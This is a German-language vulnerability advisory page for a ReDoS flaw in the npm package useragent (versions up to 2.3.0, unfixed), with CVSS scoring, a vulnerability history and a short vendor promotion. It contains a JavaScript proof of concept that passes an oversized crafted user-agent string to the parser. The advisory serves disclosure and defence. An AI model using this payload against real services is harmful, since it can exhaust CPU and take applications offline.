Mittel

useragent Regular Expression Denial of Service vulnerability

Veröffentlicht: 26.10.2024
Aktualisiert: 11.10.2026 10:22

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	useragent	<= 2.3.0	keine Korrektur

Verweise

CVSS-Wert 7.5/10

CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE): CWE-1333
Plattform: npm
Paket: useragent
Veröffentlicht: 26.10.2024
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-mgfv-m47x-4wqp - CC BY 4.0

Schwachstellenhistorie: useragent

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 2
Erste → letzte: 07.2018 10.2024
Ohne Fix: 1
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Hoch 1
Mittel 1

Veröffentlichungen pro Jahr

2018: 1
2019: 0
2020: 0
2021: 0
2022: 0
2023: 0
2024: 1
2025: 0
2026: 0

26.10.2024

useragent Regular Expression Denial of Service vulnerability dieser Eintrag

Mittel · 7.5 CVE-2020-26311 <= 2.3.0 keine Korrektur
24.07.2018

ReDoS via long UserAgent header in useragent

Hoch CVE-2017-16030 < 2.1.13 2.1.13

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden